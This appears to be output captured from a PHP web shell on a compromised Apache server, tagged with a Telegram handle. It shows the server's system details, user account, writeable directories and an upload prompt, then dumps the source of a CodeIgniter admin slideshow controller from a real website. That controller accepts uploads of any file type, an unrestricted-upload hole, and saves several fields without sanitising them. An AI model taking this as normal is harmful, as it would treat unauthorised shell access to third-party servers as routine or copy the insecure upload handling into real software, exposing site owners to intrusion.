https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/serbaantik.com/public_html/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/serbaantik.com/public_html/application/controllers/admin/Home_slideshow.php
<?php  if ( ! defined('BASEPATH')) exit('No direct script access allowed');

class Home_slideshow extends Admin_Controller 
{		
		function __construct()  
		{
				parent::__construct();

				if (!in_array('slideshows', $this->allowed_sections)) redirect('admin/dashboard'); 

				$this->load->model('home_slideshow_m');	 
		} 
			
		//this is to list all home_slideshow  
		public function index() 
		{	
				//pagination in action. 100 results per page
				$this->load->library('pagination');
				$config['base_url'] = base_url() . 'admin/home_slideshow/index';
				$config['per_page'] = 100;
				$config["uri_segment"] = 4; 

				//fetch all home_slideshow
				$config['total_rows'] = $this->home_slideshow_m->record_count();  
				$this->pagination->initialize($config);
				
				$this->data['home_slideshow'] = $this->home_slideshow_m->get_all_home_slideshow($config["per_page"], 
				$this->uri->segment(4)); 
			
				//load view
				$this->data['subview'] = 'admin/home_slideshow/index';
				$this->load->view('admin/templates/header', $this->data_header); 
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer');		
		}
		
		//to add a new brand 
		public function add() 
		{
				$this->data['home_slideshow'] = $this->home_slideshow_m->get_new();	 

				//get ordering number and display at add form
				$this->db->select_max('priority')->from('home_slideshow'); 

				$current_priority = $this->db->get()->row()->priority;

				if($current_priority === null) 
				{
						$this->data['home_slideshow']->priority = 1;	
				} 
				else 
				{
						$this->data['home_slideshow']->priority = $current_priority + 1;
				} 
			
				//validation check
				$config = array( 
							array(
									'field'   => 'title',
									'label'   => 'Banner Title',
									'rules'   => 'trim'
							),
							array(
									'field'   => 'button_link',
									'label'   => 'Button Link', 
									'rules'   => 'trim'
							),  
							array(
								'field'   => 'button_label',
								'label'   => 'Button Label', 
								'rules'   => 'trim'
						),  
							array(
									'field'   => 'priority',
									'label'   => 'Priority',
									'rules'   => 'trim|required|numeric'
							),  
							array(
									'field'   => 'status',
									'label'   => 'status',
									'rules'   => 'trim|required'
							),
							array(
									'field'   => 'text_content',
									'label'   => 'text_content',
									'rules'   => 'trim'
							),
											
				);
				$this->load->library('form_validation');
				$this->form_validation->set_rules($config); 
				$this->form_validation->set_error_delimiters('<div class="error">', '</div>');

				if($this->form_validation->run() == TRUE) 
				{
						//check & processing image banner upload files	
						if ($_FILES['userfile']['size'] !== 0) 
						{  	
							$config = array();
							$config['upload_path'] = './uploads/banners/'; 
							$config['allowed_types'] = '*';  
							// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
							$config['max_size']	= '1000';
							
							$this->load->library('upload', $config);  
							$this->upload->initialize($config); 

							if (!$this->upload->do_upload()) 
							{
									//echo $this->upload->display_errors(); die();
									$this->session->set_flashdata('error', '<br>
										<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
									redirect('admin/home_slideshow/add');
							} 
							else 
							{
									$image = $this->upload->data();
									$image_filename = $image['file_name']; 	 
							}	
						} 

						$data = array( 
								'title' => $this->security->xss_clean($this->input->post('title')),
								'button_link' => $this->security->xss_clean($this->input->post('button_link')),
								'button_label' => $this->security->xss_clean($this->input->post('button_label')),
								'type' => $this->input->post('type'),
								'priority' => $this->input->post('priority'),
								'status' => $this->input->post('status'),
								'text_content' => $this->input->post('text_content'),
						);

						switch ($this->input->post('type')) {
							case 'products':
								$data['type'] = 'products';
								$data['id'] = $this->input->post('product'); 
								break;
							case 'services':
								$data['type'] = 'services';
								$data['id'] = $this->input->post('service') == 'all' ? null : $this->input->post('service');
								break;
							case 'homepage':
								$data['type'] = 'homepage';
								$data['id'] = null;
								break;
							case 'showrooms':
								$data['type'] = 'showrooms'; 
								$data['id'] = null;
								break;
							case 'portfolio':
								$data['type'] = 'portfolio';
								$data['id'] = $this->input->post('portfolio') == 'all' ? null : $this->input->post('portfolio');
								break;
							default:
								# code...
								break;
						}

						//image upload
						if (isset($image_filename)) 
						{
								$data['image'] = $image_filename;
						} 

						$this->home_slideshow_m->add_home_slideshow($data);

						$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Home slideshow add successful</p>');

						redirect('admin/home_slideshow');
				} 
			
				$this->data['subview'] = 'admin/home_slideshow/edit';
				$this->load->view('admin/templates/header', $this->data_header); 
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer');	
		}
		
		//to edit brand in admin
		public function edit($id = NULL) 
		{
				//check if id exist. If not exist, show 404.
				$count = $this->home_slideshow_m->count_exist($id); 
				
				if ($count == 0) {
					//page not exist
					show_404();
				}		

				$this->data['home_slideshow'] = $this->home_slideshow_m->get($id);	
			
				//validation check
				$config = array( 
						array(
								'field'   => 'title',
								'label'   => 'Banner Title',
								'rules'   => 'trim'
						),
						array(
								'field'   => 'button_link',
								'label'   => 'Button Link',
								'rules'   => 'trim'
						),  
						array(
								'field'   => 'button_label',
								'label'   => 'Button Label',
								'rules'   => 'trim'
						),  
						array(
								'field'   => 'priority',
								'label'   => 'Priority',
								'rules'   => 'trim|required|numeric'
						),  
						array(
								'field'   => 'status',
								'label'   => 'status',
								'rules'   => 'trim|required'
						),
						array(
							'field'   => 'text_content',
							'label'   => 'text_content',
							'rules'   => 'trim'
						)	
				);
				$this->load->library('form_validation');
				$this->form_validation->set_error_delimiters('<div class="error">', '</div>');
				$this->form_validation->set_rules($config); 

				if($this->form_validation->run() == TRUE) 
				{
						//check & processing image banner upload files	
						if ($_FILES['userfile']['size'] !== 0)  
						{  	
								$config = array();
								$config['upload_path'] = './uploads/banners/'; 
								$config['allowed_types'] = '*';  
								// $config['allowed_types'] = 'jpg|png|jpeg|webp'; 
								$config['max_size']	= '1000';
							
								$this->load->library('upload', $config); 
								$this->upload->initialize($config); 

								if (!$this->upload->do_upload()) 
								{
										//echo $this->upload->display_errors(); die();
										
										$this->session->set_flashdata('error', '<br>
											<p style="background:orange; color:white; padding:5px; font-weight:bold;">Image Upload Error. Wrong format or size.</p>');
										redirect('admin/home_slideshow/add');
								} 
								else 
								{
										$image = $this->upload->data();
										$image_filename = $image['file_name']; 	 
								}	
						}

						$data = array(
								'title' => $this->security->xss_clean($this->input->post('title')),
								'button_link' => $this->security->xss_clean($this->input->post('button_link')),
								'button_label' => $this->security->xss_clean($this->input->post('button_label')),
								'type' => $this->input->post('type'),
								'priority' => $this->input->post('priority'),
								'status' => $this->input->post('status'),
								'text_content' => $this->input->post('text_content'),
						);

						switch ($this->input->post('type')) {
							case 'products':
								$data['type'] = 'products';
								$data['id'] = $this->input->post('product');
								break;
							case 'services':
								$data['type'] = 'services';
								$data['id'] = $this->input->post('service') == 'all' ? null : $this->input->post('service');
								break;
							case 'portfolio':
								$data['type'] = 'portfolio';
								$data['id'] = $this->input->post('portfolio') == 'all' ? null : $this->input->post('portfolio');
								break;
							case 'homepage':
								$data['type'] = 'homepage';
								$data['id'] = null;
								break;
							case 'showrooms':
								$data['type'] = 'showrooms';
								$data['id'] = null;
								break;
							default:
								# code...
								break;
						}

						//image upload
						if (isset($image_filename)) 
						{
								$data['image'] = $image_filename;
						} 

						$this->home_slideshow_m->edit_home_slideshow($id, $data);

						$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Home slideshow Edit Successful</p>');
					
						redirect('admin/home_slideshow/edit/' . $id);
				} 
			
				$this->data['subview'] = 'admin/home_slideshow/edit';
				$this->load->view('admin/templates/header', $this->data_header); 
				$this->load->view('admin/_layout_main', $this->data);
				$this->load->view('admin/templates/footer');	
		}
		
		//to delete a slideshow
		public function delete($id) 
		{
				//check if id exist. If not exist, show 404.
				$count = $this->home_slideshow_m->count_exist($id);
			
				if ($count == 0) 
				{  
						//page not exist 
						show_404();
				}		

				$this->home_slideshow_m->delete($id);

				$this->session->set_flashdata('success', '<br><p style="background:green; color:white; padding:5px; font-weight:bold;">Home Slideshow Delete Successful</p>');

				redirect('admin/home_slideshow');
		}	

		public function ajax_get_type() 
		{ 
			$this->load->helper('form');
	
			//test if ajax call to prevent direct access
			if (!$this->input->is_ajax_request()) 
			{
					 exit('No direct script access allowed'); 
			} 
	
			$type = $this->input->post('type');
			$current_id = $this->input->post('current_id');
			
			switch ($type) 
			{ 	
				case 'products':  
					//get product categories
					$this->db->select('id_categories, category')->from('categories')->where('status', 1)->order_by('priority', 'ASC');
					$data['categories'] = $this->db->get()->result(); 
	
					if (!$current_id) 
					{ 
						$data['current_category_id'] = null; 	
					} 
					else 
					{
						//get current active
						$this->db->select('type, id')->from('home_slideshow')->where('id_home_slideshow', (int) $current_id);
						$category_id = $this->db->get()->row();	
	
						if ($category_id->id === NULL) 
						{ 
							$data['current_category_id'] = null; 	
						} 
						else 
						{
							$data['current_category_id'] = $category_id->id; 
						}
					}
	
					$this->load->view('admin/home_slideshow/ajax_get_products', $data);  
				break;		

				case 'services':  
					//get services
					$this->db->select('id_service, name')->from('service')->where('status', 1)->order_by('priority', 'ASC');
					$data['services'] = $this->db->get()->result(); 
	
					if (!$current_id) 
					{ 	
						$data['current_type'] = 'services'; 
						$data['current_service_id'] = null; 	
					} 
					else 
					{
						//get current active
						$this->db->select('type, id')->from('home_slideshow')->where('id_home_slideshow', (int) $current_id);
						$service_id = $this->db->get()->row();	
	
						if ($service_id->id === null) 
						{ 
							$data['current_type'] = $service_id->type; 
							$data['current_service_id'] = null; 	
						} 
						else 
						{
							$data['current_type'] = $service_id->type;
							$data['current_service_id'] = $service_id->id; 
						}
					}
	
					$this->load->view('admin/home_slideshow/ajax_get_services', $data);  
	
				break;

				case 'portfolio':  
					//get portfolio
					$this->db->select('id, name')->from('portfolios_category')->where('status', 1)->order_by('priority', 'ASC');
					$data['portfolios'] = $this->db->get()->result(); 
	
					if (!$current_id) 
					{ 	
						$data['current_type'] = 'portfolio'; 
						$data['current_portfolio_id'] = null; 		
					} 
					else 
					{
						//get current active
						$this->db->select('type, id')->from('home_slideshow')->where('id_home_slideshow', (int) $current_id);
						$portfolio_id = $this->db->get()->row();	
	
						if ($portfolio_id->id === null) 
						{ 
							$data['current_type'] = $portfolio_id->type; 
							$data['current_portfolio_id'] = null; 	
						} 
						else 
						{
							$data['current_type'] = $portfolio_id->type; 
							$data['current_portfolio_id'] = $portfolio_id->id; 
						}
					}
	
					$this->load->view('admin/home_slideshow/ajax_get_portfolio', $data);  
	
				break;
			}
		}
}

https://t.me/RX1948 - 2025